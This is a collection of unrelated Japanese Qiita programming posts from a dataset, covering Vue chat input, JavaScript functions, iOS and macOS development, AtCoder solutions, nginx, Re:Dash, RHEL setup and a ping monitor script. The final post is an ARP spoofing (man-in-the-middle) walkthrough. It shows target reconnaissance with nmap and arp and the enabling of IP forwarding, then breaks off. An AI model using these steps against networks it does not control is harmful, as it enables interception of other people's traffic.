OmniAICreator/Qiita-1.07M huggingface dataset:
Vue(Nuxt.js)でチャット機能を実装する5つのパターン

Vue(Nuxt.js)でチャット機能を実装する方法です。
5パターンの実装方法をまとめました。

##送信ボタンを押すことで送信する

```vue
<template>
  <div>
    <p>送信:</p>
    <p>{{ sendMessage }}</p>
    <textarea v-model="message"></textarea>
    <button @click="sendChat">送信</button>
  </div>
</template>

<script lang="ts">
import Vue from 'vue'

export default Vue.extend({
  data() {
    return {
      message: '',
      sendMessage: ''
    }
  },
  methods: {
    sendChat() {
      this.sendMessage = this.message
      this.message = ''
    }
  }
})
</script>

```

##Enterキーを押した時に送信

```vue
<template>
  <div>
    <p>送信:</p>
    <p>{{ sendMessage }}</p>
    <textarea v-model="message" @keyup.enter="pushEnter"></textarea>
  </div>
</template>

<script lang="ts">
import Vue from 'vue'

export default Vue.extend({
  data() {
    return {
      message: '',
      sendMessage: ''
    }
  },
  methods: {
    pushEnter() {
      this.sendChat()
    },
    sendChat() {
      this.sendMessage = this.message
      this.message = ''
    }
  }
})
</script>

```

`@keyup.enter="pushEnter"`を設定することでEnterキーを押した時も送信できます。


##Enterキーを押した時に送信（日本語変換時のEnterでは送信しない）

日本語変換時のEnterでは送信しない機能を追加したものになります。

```vue
<template>
  <div>
    <p>送信:</p>
    <p>{{ sendMessage }}
    <textarea
      v-model="message"
      @keydown.enter.exact="keyDownEnter"
      @keyup.enter="pushEnter"
    ></textarea>
 
  </div>
</template>

<script lang="ts">
import Vue from 'vue'

export default Vue.extend({
  data() {
    return {
      message: '',
      sendMessage: '',
      keyDownCode: 0
    }
  },
  methods: {
    keyDownEnter(e: any) {
      this.keyDownCode = e.keyCode
    },
    pushEnter() {
      if (this.keyDownCode === 229) {
        return
      }
      this.sendChat()
    },
    sendChat() {
      this.sendMessage = this.message
      this.message = ''
    }
  }
})
</script>

```
`@keydown.enter.exact="keyDownEnter"`でEnterキーをkeydownした時のイベントを取得します。
` this.keyDownCode = e.keyCode`でkeyCodeを変数に記録します。
EnterキーのkeyCodeは13です。しかし、日本語変換確定時のEnterキーのkeyCodeは229に変わります。
`if (this.keyDownCode === 229)`で日本語変換確定時の場合は処理を抜けるようにしています。

## Enterで送信、Shift+Enterで改行

こちらは過去にまとめたので下記記事をご覧ください。
[Vue(Nuxt.js)でEnterで送信、Shift+Enterで改行の機能を実装する](https://qiita.com/TK-C/items/4b32a3f98343606d979f
)

## 空文字や空白のみでは送信しないようにする

空文字・空白・改行のみの場合、送信しないようにする為には、送信メソッドに処理を追加します。

```javascript
sendChat() {
  if (!this.message || !this.message.match(/\S/g)) {
    this.message = ''
    return
  }
  this.sendMessage = this.message
  this.message = ''
}
```
Javascript 関数の記述例（普通、無名、アロー）

#関数の扱いの備忘録

①result ではどれも「６」が
②result2 ではどれも「35」が
出力されます。

![スクリーンショット 2020-07-24 9.26.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/670884/e5e04ce8-9c4f-a651-6ab1-ba7e6f82684a.png)


##①resultについて


###普通

```javascript

//普通の関数
let func = function hoge(a){
     return a * 2
 };
let result = func(3);
console.log(result)
```

###無名関数

```javascript

//無名関数
let func = function(a){
    return a * 2
};
let result = func(3);
console.log(result)
```

###アロー関数

```javascript

//アロー関数（引数が１つの場合）（この場合ではreturnも省略可能）
let func = a=> a * 2
let result = func(3);
console.log(result)
```



##②result２について


###普通

```javascript

//普通の関数
let sankaku = function keisan(a,b){
    return a * b
}
let result2 = sankaku(5,7);
console.log(result2)
```

###無名関数

```javascript

//無名関数（関数keisanの名前が不要になる）
let sankaku = function(a,b){
    return a * b
let result2 = sankaku(5,7);
console.log(result2)
```

###アロー関数

```javascript

//アロー関数(引数が２つの場合）、（この書き方ではreturnも省略可能）
let sankaku = (a,b)=>a * b;
let result2 = sankaku(5,7);
console.log(result2)
```


#ポイント
無名関数：変数に代入する場合、代入する関数の関数名が不要になる
アロー関数：代入する関数名、return不要など恩恵がある（例外もありそう。そこは別途調べる）
アロー関数を使いこなせるようなると記述がぐっと減ることがわかる。
３年くらい放置していたiOSアプリをビルドした時にやったこと。

## はじめに
３年くらい放置していたアプリのメンテナンスが必要になり、ビルドをしたらぜんぜんダメだったのですが、解決方法を記録しておきます。
主にダメだったのは以下の点です

- Swiftのバージョン
- UITableView
- UICollectionView


## 開発環境
- 対応前 Xcode9
- 対応後 Xcode11.5

## 対応内容
    

#### SWIFT_VERSIONエラー
##### エラ〜メッセージ

    SWIFT_VERSION '3.0' is unsupported, supported versions are: 4.0, 4.2, 5.0.
もともとSwift3.0で書かれていたのですが、Xcode11ではすでにSwiftのバージョンは5.0になっています。しかしバージョン２つ飛ばしは心配なので、4.0を選択しました。
幸いにもSwift3.0から4.0の差分はそれほどないので、バージョンの変更だけですみました。
Build SettingsのSwift Language Versionを4.0に変更しました。
##### 変更前
 <img width="533" alt="スクリーンショット 2020-07-23 18.04.27.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/122204/73dc32d9-e86b-c344-a609-c4ba620198c0.png">
##### 変更後
<img width="541" alt="スクリーンショット 2020-07-23 18.07.09.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/122204/d97fc287-fc45-b989-b18f-67d307db0ae4.png">

同様に、Podfileにもバージョン指定があったので、削除しました

    post_install do |installer|
      installer.pods_project.targets.each do |target|
        target.build_configurations.each do |config|
          config.build_settings['SWIFT_VERSION'] = '3.0'
        end
      end
    end


### UITableViewやUICollectionViewのDelegateが変更されていた
次に発生したのは以下のエラー

    [xxxx.StoryViewController tableView:numberOfRowsInSection:]: unrecognized selector sent to instance 0x7fc48663aa50
    [xxxx.StoryViewController tableView:numberOfRowsInSection:]: unrecognized selector sent to instance 0x7fc48663aa50'

UITabeViewDelegateとUITableViewDatasourceのメソッド名が変更されていました。
StoryBoardでDelegateをつなげるとProtocolを書かなくても問題なく動作していたのですが、代わりにコンパイル時にエラーチェックされないので、ちゃんとプロトコルを定義するように変更しました。
Protocolを追加しておけばXcodeの機能で自動的に変換できます。

修正前

    class StoryViewController: UIViewController {
         :

修正後

    class StoryViewController: UIViewController, UITableViewDelegate, UITableViewDataSource {
         :

Protocolを設定すると、以下のようにエラーメッセージが表示され、Fixボタンを押すと自動的に変換されます。
<img width="777" alt="スクリーンショット 2020-07-24 9.08.56.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/122204/d6a6680e-e4c2-b8fc-af4d-034da7a12a9f.png">

## 最後に
分かってしまえば大したことのない修正項目ですが、これだけでも数時間費やしてしまいました。同じことにハマる人も多いと思いますので、（そんなにいないかな）念のため共有しておきます。
SwiftやiOS SDKは毎年変化があり、毎年メンテナンスしていればこのような問題はそれほど起きないのですが、バージョンを飛ばすと途端に対応が大変になったりしますね。
[macOS] Cocoa Scripting Support

# Cocoa Scripting

## Cocoa Scriptingとは
* Cocoa Scriptingとは、スクリプト制御可能なmacOSアプリケーションを実装するための、Cocoaフレームワークの機能を指します。これをサポートしたアプリケーションは、AppleScriptで制御可能になります。
* 当初は、[Apple Event Manager](https://developer.apple.com/documentation/applicationservices/apple_event_manager)が使用されていましたが、Tiger以降はCocoa Scriptingがこれに取って変わりました。

## Cocoa Scriptのサポート準備
macOSアプリにてCocoa Scriptingをサポートする際には、実装以前に複数項目の準備が必要です。
### ターゲットプロパティ (.plistファイル)
plistファイルに以下の要素を追加し、CocoaScriptingサポートを有効化します。設定中の`Scripting.sdef`は後述するスクリプト定義ファイルの名前です。
下記の例では、.sdefファイルは、アプリケーションのResourceフォルダの直下におかれる事を想定しています。
````
<key>NSAppleScriptEnabled</key>
<string>YES</string>
<key>OSAScriptingDefinition</key>
<string>Scripting.sdef</string>
````

## スクリプト定義 (.sdefファイル)
アプリケーションがサポートするスクリプトの種類を定義します。　xmlフォーマットに基づいて記述します。
詳細については、[Preparing a Scripting Definition File](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ScriptableCocoaApplications/SApps_creating_sdef/SAppsCreateSdef.html#//apple_ref/doc/uid/TP40001979-BBCBCIJE)を参照して下さい。

以下はsdefファイルの一例です。最上位は、｀dictionary`ノードです。
````
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE dictionary SYSTEM "file://localhost/System/Library/DTDs/sdef.dtd">
<dictionary title="CoconutScript">
  ... スクリプト定義 ...
</dictionary> 
````

dictionaryノードは、1つ以上の`suite`ノードを含みます。関連のある定義が1つの`suite`ノードに格納されます。
````
<dictionary title="CoconutScript">
  <suite name="Preference Suite" code="CcPS" description=" Suites by CocoaScript">
   <class name="application" code="capp" description="The application's top-level scripting object.">
     ... Application suite 定義 ...
   </class>
  </suite>
</dictionary> 
````

`suite`の1つです。アプリケーションクラスを定義します。アプリケーションクラスは、[NSApplicationDelegate](https://developer.apple.com/documentation/appkit/nsapplicationdelegate)にマップされます。のインターフェースを定義します。
````
<class name="application" code="capp" description="The application's top-level scripting object.">
     <cocoa class="NSApplication"/>
     ... Application プロパティ定義 ...
</class>
````

以下の例では、アプリケーションクラスに、`foreground color`と`background color`プロパティを定義します。
````
<property name="foreground color" code="fgcl" description="Foreground color of the terminal" type="Color" access="rw"/>
<property name="background color" code="bgcl" description="Background color of the terminal" type="Color" access="rw"/>
````

## 機能実装
AppleScriptからアプリケーションへのアクセスは、KVOのプロトコルで通知されます。`.sdef`ファイルのプロパティの`name`要素で指定した名前が、キーとして使用されます。

````
open class CNScriptableAppicationDelegate: CNApplicationDelegate
{
  public override func value(forKey key: String) -> Any? {
  }
  open override func setValue(_ value: Any?, forKey key: String) {
  }
}
````


## 参考文献
1. [Cocoa Scripting Guide](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ScriptableCocoaApplications/SApps_intro/SAppsIntro.html#//apple_ref/doc/uid/TP40001982-BCICHGIE): Cocoa Scriptingについて、おそらく最も詳細なドキュメント。ただ、かなり昔(2008年)に書かれている。PDF版は[こちら](https://applescriptlibrary.files.wordpress.com/2013/11/cocoa-scripting-guide.pdf)。
1. [Getting Started With Cocoa Scripting](http://www.apeth.net/matt/scriptability/scriptabilityTutorial.html): Cocoa Scriptingについて、簡単な例を持って説明。[1]よりかなりシンプル。
競技プログラミング練習記 No.53【ABC109練習】

初回 -> [はじめに](https://qiita.com/easychoco/items/a9ae28aca97cfe47091f)

[ABC109](https://atcoder.jp/contests/abc109)を解きました。
4完です！

|問題|時間|アルゴリズム|実行時間
|:-:|:-:|:-:|:-:|
| A |  2min |-|  6ms|
| B |  5min |std::set| 10ms|
| C |  5min |最大公約数| 22ms|
| D | 30min |全探索| 62ms|

# まとめ
先にまとめを載せます。これ自体は最後に書いてます。

出てくる要素がわからないときに重複要素があるかどうかを判定するには`std::set`が便利です。
出てくる要素が制限されている場合は配列を使うと早いです。


WAなしで全完しました。嬉しい。


## A - ABC333
```c++
  int a, b;
  cin >> a >> b;
  cout << (((a * b) & 1) ? "Yes" : "No");
```
`奇数 * 奇数 = 奇数` ですね。
また、`偶数 * 奇数 = 偶数` です。
つまり、`A * B * C`が奇数になるときは`A, B, C`のすべてが奇数です。
問題文で聞かれていることは任意の`C`に対して`A * B * C` が奇数になるかどうかなので、`A * B`の偶奇を調べれば答えがわかります。
`((a * b) & 1)` は、bit演算を利用して`a * b`の偶奇を判定できる処理です。

## B - Shiritori
``` c++
  int n;
  cin >> n;

  char next_top;
  set<string> pool;
  string w;

  cin >> w;
  next_top = w.back();
  pool.insert(w);

  for(int i  = 1; i < n; ++i)
  {
    cin >> w;
    if(w[0] != next_top || pool.find(w) != pool.end())
    {
      cout << "No";
      return;
    }
    next_top = w.back();
    pool.insert(w);
  }
  cout << "Yes";
```
ひとつ前の最後尾の文字がわかれば、入力を受けながら逐次判定できますね
それに加えて、これまでにでた文字列を記憶しておけば答えがわかります。
これまでに出た文字列は`std::set`を使って記憶しました。

今回のような、出てくる要素がわからないときに重複要素があるかどうかを判定するには`std::set`が便利です。
出てくる要素が制限されている場合は配列を使うと早いです。

## C - Skip

``` c++
// 最大公約数 : 3,4 ->  1
ll gcd(ll a, ll b) { return b ? gcd(b, a % b) : a; }

void solve()
{
  int n, x;
  cin >> n >> x;
  vector<int> pos(n);
  for(int i = 0; i < n; ++i) cin >> pos[i];

  int min_pos = *min_element(pos.begin(), pos.end());
  x -= min_pos;

  int ans = abs(x);
  for(int i = 0; i < n; ++i)
  {
    ans = gcd(ans, pos[i] - min_pos);
  }
  cout << ans;
}
```
相対距離のイメージだと考えやすいです。
距離`D`ずつ移動するときの`D`の最大値は、`X`からの相対距離の最大公約数になりますね。
ただ、`X`を基準にすると`0`が出てきてゼロ除算になってしまうので、`x_i`の最小値を基準にしました。
ちなみに、制約より`x_i ≠ X`なのでこれができます。

これはきっと想定解法とは違うのですが、相対距離のアイデアは静止系や慣性系の考え方からきました。

## D - Make Them Even
``` c++
  int h, w;
  cin >> h >> w;
  vector< vector<int> > a( h, vector<int>(w) );
  for(int i = 0; i < h; ++i) {
    for(int j = 0; j < w; ++j) {
      cin >> a[i][j];
    }
  }

  vector<tuple<int, int, int, int>> ans;
  for(int i = 0; i < h; ++i) {
    for(int j = 0; j < w; ++j) {
      if(a[i][j] & 1)
      {
        if (j < w - 1)
        {
          a[i][j + 1]++;
          ans.emplace_back(make_tuple(i, j, i, j + 1));
        }
        else if (i < h - 1)
        {
          a[i + 1][j]++;
          ans.emplace_back(make_tuple(i, j, i + 1, j));
        }
      }
    }
  }

  cout << ans.size() << endl;
  for(const auto& t : ans)
  {
    int x, y, ax, ay;
    tie(x, y, ax, ay) = t;
    cout << x + 1 << " " << y + 1 << " " << ax + 1 << " " << ay + 1 << endl;
  }
```
コインが奇数枚のマスがあったら隣のマスにコインを移します。
コインを移すことで奇数枚のマスは偶数枚になり、移す先のマスが奇数の場合は偶数枚のマスが合計で2つ増えます。
移す先のマスが偶数の場合でも、全体でみると偶数のマス数は増えも減りもしません。

操作内容をもう少しルールっぽく書きます。
各マスを順にみていって、コインが奇数枚のマスがあったら隣のまだ見ていないマスにコインを移します。

これを繰り返すと偶数枚のマス数を最大化できます。

以上です。ありがとうございました。
nginxだけでコンテンツを返す方法 - Load balancerのhealth checkに

health checkをloggingしたくない、
リバプロとしてnginx使っててweb serverまで行かせたくない、などのときに


```nginx
server {
    listen 80 default_server;

    location /nginx-health {
        access_log off;
        return 200 "healthy\n";
    }
}
```


reference
https://github.com/nginxinc/kubernetes-ingress/issues/90




#### nginx posts
nginxのstatusを表示するモジュール /nginx_status
https://qiita.com/uturned0/items/b4eb6839d75050933c7f

nginxにモジュールを追加できるDockerfile
https://qiita.com/uturned0/items/3a0a7cb971edac40b11e

nginxリバプロで header を cookieに書き込む方法
https://qiita.com/uturned0/items/112b8faba403bd534d5c

nginxリバプロで、requestに入っているheaderをlogに出す方法
https://qiita.com/uturned0/items/31162eeb03af05c7dc4b

nginxだけでコンテンツを返す方法 - Load balancerのhealth checkに
https://qiita.com/uturned0/items/a8bcca111b75c5055ed9
ジャパンネット銀行VISAデビット取引明細番号の仕様(推測)

ジャパンネット銀行のVISAデビットカードの利用明細には、各取引ごとに「取引明細番号」というIDが振られる。「1A030001」といった番号である。

このIDの仕様については公開されていない。しかし、利用の状況から一定の次のような規則性があることが分かった。

## ジャパンネット銀行VISAデビット取引明細番号の仕様

* 1桁目: VISAカードの番号。ジャパンネット銀行のビジネス用アカウントBA-PLUSでは、リアルカード1枚に加えて、4枚までカードレスVISAを発行できる。1桁目の数字は、`1`がリアルカードを指し、`2`以上はどのカードレスVISAかを指す。値としては、`1`〜`5`までである。
* 2桁目: `A`か`B`の値になる。`A`が通常の決済。`B`が引き落とし日と利用日が異なる取引。この利用日は加盟店が申告するもののようだ。
* 3桁目〜5桁目: この3桁の数字は、引き落とし日を指す。`001`が1月1日で、1年のうち何日目かで表現される。最大値は非うるう年で`365`。うるう年は`366`になる(と推測される)。2桁目が`B`の場合でも引き落とされた日になる。
* 6桁目〜8桁目: この3桁の数値は、同一の引き落とし日のうち、何回目の取引かを指す。`001`が1回目、`002`が2回目とインクリメントされていく。したがって、1日あたり999回までの取引を別IDで示すことができる仕様と考えられる。1000回目以降の取引がどういうIDになるかは調査できていない。ただし、2桁目が`B`の場合はこの仕様ではないらしく詳細は不明である。

## 注意点

本稿の情報については以下の注意が必要である。

* この情報はあくまで推測である。
* 仕様が変更される場合があるかもしれない。
偶数パリティビット

応用情報技術者令和元年秋期 午前問23

3ビットのデータX1，X2，X3に偶数パリティビットcを付加する回路はどれか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/591618/490a13b2-fea8-dcdf-aed7-d570a37e7b5d.png)


**偶数パリティビット(even parity)**は、1のビットの数が偶数になるようにパリティビットを付加する方式です。

例）
101 … 1のビットが偶数個なのでパリティビットは0 → 1010
100 … 1のビットが奇数個なのでパリティビットは1 → 1001

逆に、**奇数パリティビット(odd parity奇偶校验位)**という概念もありますね。

こういうパリティビット問題は、基本はXORで解決しますらしいですね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/591618/1dbb3db0-36df-db60-1082-47f8dd8a4734.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/591618/6c0475d8-3727-a797-bede-ee7fe3273eee.png)
[LaTeX] 積分記号(インテグラル)の上下に積分区間を表示する方法

　通常、教科書等で積分を含む関数を書くときに用いられる形式は

```math
y=\int_a^bf(x)dx
```

だと思う。
　ただ、教科書に因ってはこちら

```math
y=\int\limits_a^bf(x)dx
```
の形式を用いていることもある。どちらも意味としては同じだが、どうしてもこの形式で書きたいがあるかもしれない。しかし、この形式での書き方を調べてもなかなか答えにたどり着かなかったため、書き留めておく。

# 手法

　```LaTeX```で数式を入力するときにいつも用いているであろうパッケージ```amsmath```のみを用いて書くことが可能である。

```latex
\begin{equation}
y=\int\limits_a^b f(x)dx
\end{equation}
```
　非常に簡単で、```\int```と```_a^b```の間に```\limits```を書くだけで書ける。
javaメソッドを作る 【メモ】【java11】

##classとmainメソッド

###class
classの書き方。

```java:setumeiclass.java
public class setumeiclass/*⇐ファイル名*/{
//この中にmainメソッドを書く。
}
```

###mainメソッド
これがないと始まらない。
この中にコードを書く。（基本的には。）

```java:Test.java

public class Test{
  public static void main(String args[]){
	/*Write the code here!!*/
  }
}
```

###例

```java:rei.java

public class rei{
  public static void main(String args[]){
    System.out.println("Hello,World!!");
  }
}

```





###実行結果:

```
Hello,World!!
```

##自作メソッド

```java:zisaku
public class zisaku{
	public static 型名 メソッド(引数){
		このメソッドが実行するコード
	}
	public static void main(String args[]){
		ここで自作メソッドを使用する
	}
 
}

```

```java:myclass.java
public class myclass{
	public static void main(String args[]){
		myclass(1,2); 
	}


	public static void myclass(int a,int b){
		System.out.println(a+b);
	}
}


```

###実行結果:

```
3
```

`myclass`の引数`a`と`b`の値が1と2なので`a`+`b`(1+2)で3。
Re:Dashのインストール(Docker)

DockerでBIツールのRe:Dashをインストールした際のメモ。
MetabaseやSupersetが競合。
SQL必須と使い勝手はイマイチだが、接続先候補が多いのが特徴。

公式サイト
https://redash.io

**Plotly Dashと間違えて入れたのは内緒です……。**
#### 1. インストール手順
docker-compose.yml

```yml

version: '2'
x-redash-service: &redash-service
  image: redash/redash:latest
  depends_on:
    - postgres
    - redis
  env_file: redash.env
  restart: always
services:
  server:
    <<: *redash-service
    command: server
    ports:
      - "5000:5000"
    environment:
      REDASH_WEB_WORKERS: 4
  scheduler:
    <<: *redash-service
    command: scheduler
    environment:
      QUEUES: "celery"
      WORKERS_COUNT: 1
  scheduled_worker:
    <<: *redash-service
    command: worker
    environment:
      QUEUES: "scheduled_queries,schemas"
      WORKERS_COUNT: 1
  adhoc_worker:
    <<: *redash-service
    command: worker
    environment:
      QUEUES: "queries"
      WORKERS_COUNT: 2
  redis:
    image: redis:latest
    restart: always
  postgres:
    image: postgres:latest
    env_file: redash.env
    restart: always
  nginx:
    image: redash/nginx:latest
    ports:
      - "80:80"
    depends_on:
      - server
    links:
      - server:redash
    restart: always
```
同一フォルダに環境設定ファイルを作成する。
redash.env

```env
REDASH_HOST=http://localhost/redash
PYTHONUNBUFFERED=0
REDASH_LOG_LEVEL=INFO
REDASH_REDIS_URL=redis://redis:6379/0
POSTGRES_DB= redash
POSTGRES_USER= redash
POSTGRES_PASSWORD= hogehoge
REDASH_COOKIE_SECRET=redash-selfhosted
REDASH_SECRET_KEY=redash-selfhosted
REDASH_DATABASE_URL=postgresql://redash:hogehoge@postgres/postgres
```

REDASH_DATABASE_URLに
「POSTGRES_USERの値:POSTGRES_PASSWORD値@postgres/postgres」
を入れるのがポイント。

※ パスワード要らないという外人のサイトに騙されるなど……。

#### 2. 起動とアクセス
docker-compose.ymlのあるフォルダにて下記コマンドで起動。
```
docker-compose run --rm server create_db
docker-compose up -d
```

REDASH_HOSTの設定（http://localhost/redash ）
でアクセスできる。

#### 3. 削除
削除はdocker-compose.ymlのフォルダで下記を実施。

```
docker-compose down --rmi all --volumes
```

以上
RHEL8の日本語化手順

# RHEL8の日本語化手順


- 日本語化パッケージのインストール

```
[root@rhel8-01 jobadmin]# dnf search --all locale | grep ja
    メタデータの期限切れの最終確認: 2:01:33 時間前の 2020年07月24日 05時33分50秒 に実施しました。
    glibc-langpack-ja.x86_64 : Locale data for ja
[root@rhel8-01 jobadmin]#dnf install glibc-langpack-ja.x86_64 -y
～～～～
============================================================================================================
 Package                    Architecture    Version                  Repository                        Size
============================================================================================================
Installing:
 glibc-langpack-ja          x86_64          2.28-101.el8             rhel-8-baseos-rhui-rpms          326 k

Transaction Summary
============================================================================================================
Install  1 Package

Total download size: 326 k
Installed size: 2.1 M
Is this ok [y/N]: y
～～～～
Installed:
  glibc-langpack-ja-2.28-101.el8.x86_64                                                                     

Complete!
[root@rhel8-01 jobadmin]# 
```

- ロケールを日本に設定

```
[root@rhel8-01 jobadmin]# localectl set-locale ja_JP.utf8
  System Locale: LANG=ja_JP.utf8
      VC Keymap: us
     X11 Layout: n/a
[root@rhel8-01 jobadmin]#
```

- キーボードを日本語キーボードに設定

```
[root@rhel8-01 jobadmin]# localectl set-keymap jp106
   System Locale: LANG=ja_JP.utf8
       VC Keymap: jp106
      X11 Layout: jp
       X11 Model: jp106
     X11 Options: terminate:ctrl_alt_bksp
    [root@rhel8-01 jobadmin]#
```

- タイムゾーンを Asia/TOKYO に設定

```
[root@rhel8-01 jobadmin]# timedatectl set-timezone Asia/Tokyo
[root@rhel8-01 jobadmin]# timedatectl status
               Local time: 日 2020-10-04 22:41:51 JST
           Universal time: 日 2020-10-04 13:41:51 UTC
                 RTC time: 日 2020-10-04 13:41:50
                Time zone: Asia/Tokyo (JST, +0900
   System clock synchronized: yes
              NTP service: active
          RTC in local TZ: no
[root@rhel8-01 jobadmin]
```
センサとユーザ認証で空間内の人数を正確に把握する

#提案
大規模な講義など、人が多く集まる空間の人数を正確に把握できるシステムを作りたいと思いました。

#開発環境
- Raspberry Pi Zero
- HC-SR501

#提案手法
この提案の手法は以下の通りです
<img width="457" alt="キャプチャ.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557268/7a2547aa-391b-b15c-b96c-f1ea827688cd.png">
①部屋の入口に設置したセンサが人感センサ(HC-SR501)を数台部屋の入口に設置し、人の入退室を検知します。そのデータをサーバーに送信します。
<img width="462" alt="キャプチャ2.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557268/c4405ac6-65ec-249d-2649-2c0bb66429d5.png">
②入室した人のPCからベーシック認証による出席登録をします。
③サーバーに送信した入室の検知数とベーシック認証による出席登録のアクセス数と照らし合わせます。
Jetpack Navigationで最初のフラグメントでも戻るための左矢印を表示する

メイン画面から設定画面が呼ばれるアプリがあります。すべての画面をJetpack Navigationで作っていたのですが、理由あってJetpack Navigationの適用範囲を設定画面のみにしました。
そうなるとJetpack Navigation上でトップとなる画面でも、前の画面に戻るための左矢印を表示したくなります。

![device-2020-07-24-060057.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/334798/f336c68d-c0c5-03ac-bff0-f2b3c8ce5f2c.gif)



現状のツールバー左矢印表示のためのコードはこのようになっています。
Jetpack Navigationのバージョンは2.3.0です。


```SettingActivity.kt
class SettingActivity : AppCompatActivity() {

    private lateinit var appBarConfiguration: AppBarConfiguration

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_setting)
        setSupportActionBar(toolbar)

        val host = supportFragmentManager
                .findFragmentById(R.id.nav_host_fragment) as NavHostFragment
        val navController = host.navController
        appBarConfiguration = AppBarConfiguration.Builder(navController.graph).build()
        setupActionBarWithNavController(navController, appBarConfiguration)
    }

    override fun onSupportNavigateUp(): Boolean {
        return findNavController(R.id.nav_host_fragment).navigateUp(appBarConfiguration)
    }
}
```


検索してみたところ、Stackoverflowに答えがありました。
https://stackoverflow.com/questions/55951871/display-back-button-on-toolbar-on-first-screen-of-navigation-graph

AppBarConfigurationのインスタンス作成時の設定を変更するだけです。


```SettingActivity.kt
appBarConfiguration = AppBarConfiguration.Builder(
        /* ここを空欄にすることで、左矢印を表示するトップレベルなフラグメントを
           開始フラグメント(ナビゲーショングラフxmlファイルのstartDestination属性)にしない */)
        .setFallbackOnNavigateUpListener {
            // Jetpack Navigationで左矢印を処理できないときの処理
            // このActiivtyを閉じる
            finish()
            // 左矢印が処理できたことを伝える
            true
        }.build()
```
【編集中】WebAPIのPOSTをコマンドで実行して結果をjsonで受けたい

# TODO
- [ ]  今動作しているコードに修正　※実行結果を見えるように加工したはず...
- [ ]  入力/出力共にファイルにしておきたい...


# はじめに
やり方は色々ある認識だが、Windowsで特にインストール等せず使えるものは...
ということで、PowerShellでコードを書くようにした。


## PowerShell

```powershell:POST.ps1
# usage 
#  PowerShell -ExecutionPolicy RemoteSigned .\POST.ps1

#$postText = @{
#  Id = 1;
#  Name = "sample string 1";
#} | ConvertTo-Json -Compress
#$postBody = [Text.Encoding]::UTF8.GetBytes($postText)

$postText = @'
[
  {
    "Id": 1,
    "Name": "sample string 2"
  },
  {
    "Id": 1,
    "Name": "サンプル string 2"
  }
]
'@
$postBody = [Text.Encoding]::UTF8.GetBytes($postText)
$postUri = "http://localhost:57396/api/Students"
Invoke-RestMethod -Method POST -Uri $postUri -Body $postBody -ContentType application/json
```

# 参考サイト
◆ASP.NETのWebAPI(Post)をPowerShellで叩いてみる
　https://qiita.com/ryukam10k/items/1902fcb9ea7870488d28
pingを用いた相互監視システム

#はじめに
卒業論文の一環で私が研究でやってきた技術的な部分を投稿します。初心者ですので読んでいておかしい部分があると思いますが、ご容赦ください。
#提案
今回投稿する提案内容はpingを用いた相互監視システムです。まず、この相互監視システムでに至るまでの経緯を書きます。相互監視という単語が含まれている通り、テーマとしては異常検知です。設置したIoT機器などが数日後には動いていない、壊れてて記録を取ってなかったということは多々あると思います。そのような問題をITの力で少しでも解決できないかと思い今回は相互監視システムの提案を行いました。
　今回の提案を具体的に説明すると、pingコマンドをシェルスクリプトで送信するという内容です。おそらくネット上で「ping 監視 プログラム」と検索すればより複雑で高度な内容のプログラムが出てくると思います。しかし、私がそれらを再現しようと試みると謎のエラーや環境の違いなどによりどうしても再現することが難しいとわかりました。友人に相談してなんとかシンプルでわかりやすいプログラムに至ることが出来たので今回はその紹介を行います。
　提案内容をまとめると，ubuntuのシェルスクリプトの環境下でpingコマンドをプログラムにより送信することにより生存確認ができるという提案です．
#用意したもの
-ubuntu
-シェルスクリプト

　今回はプログラムの紹介なので以上の2つを使います。シェルを使う前提ですので、同様の環境を用意していただけたら再現できると思います。

#プログラム
```ping_alert.sh
#!/bin/sh

target="172.217.27.67"
aaa=$(ping -c 1 "$target" | grep "received" | awk '{print $4}')
if [ $aaa -eq 1 ]; then
        echo "success"
else
        echo "failure"
fi
```

#プログラムの説明
今回ターゲットにしているIPアドレスはGoogleです．普段の生活からGoogleを利用していますので，IPアドレスが確実に返ってくることが期待できると思いターゲットにしました．プログラムの中身の話ですが，aaaと呼ばれる変数にpingコマンドの結果を収容しています．pingコマンドには「|」パイプを用いてpingの出力結果から自分の欲しい情報を抜き出しています．-cはpingを何回送るのか決めているので，この場合は1です．grepは自分の欲しい情報の行の単語を指定しています．pingコマンドは普通に打つと
![スクリーンショット (594).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557262/46b55d7b-d1ee-cac8-381a-9eb6313e3bda.png)
こういう風に表示されます．この場合だとgrepが持ってくるのはreceivedが含まれている行ですので，４行目です．その次にawkによって使いたいテキスト，情報を指定します．今回の場合ですと，4列目をprint出力しています．この場合ですと１が出力されます．出力された1をaaaに代入しています．
　その後はif文を用いて出力された1がちゃんと１なのか判定を行います．1ならば，trueですので，succesと表示されます．それ以外だとfailureと表示されます．



#評価
今回のプログラムはシェルに実装されてるpingコマンドをシェルスクリプトを用いて実行している内容です。その結果を下記に記します。
![スクリーンショット (592).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/557262/0b5aa00b-0f05-fe7a-3c1a-e24aad15167e.png)


今回のプログラムはpingを送り、反応が返ってくれば「success」と表示できるようにしました。また，ネットワークが切れてる状態だと「failure」と表示されます．送信先の反応があるかどうか確認できるという点では必要最低限の生存確認ができるといえると思います．
ARPスプーフィング手順 ( 中間者攻撃 , MITM )


## 1. 攻撃対象のIPアドレス取得
```
ifconfig
```
```
arp -a
```
```
nmap -F 192.168.XXX.XXX/24
```
などなど

![](https://i.imgur.com/3AJGXxB.png)

## 2. 攻撃者のPCを経由するパケットをフォワードさせるためにIPフォワーディングを有効
1で有効

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

0で無効

```
echo 0 > /proc/sys/net/ipv4/ip_forward
```

![](https://i.imgur.com/GGbQHTO.png)

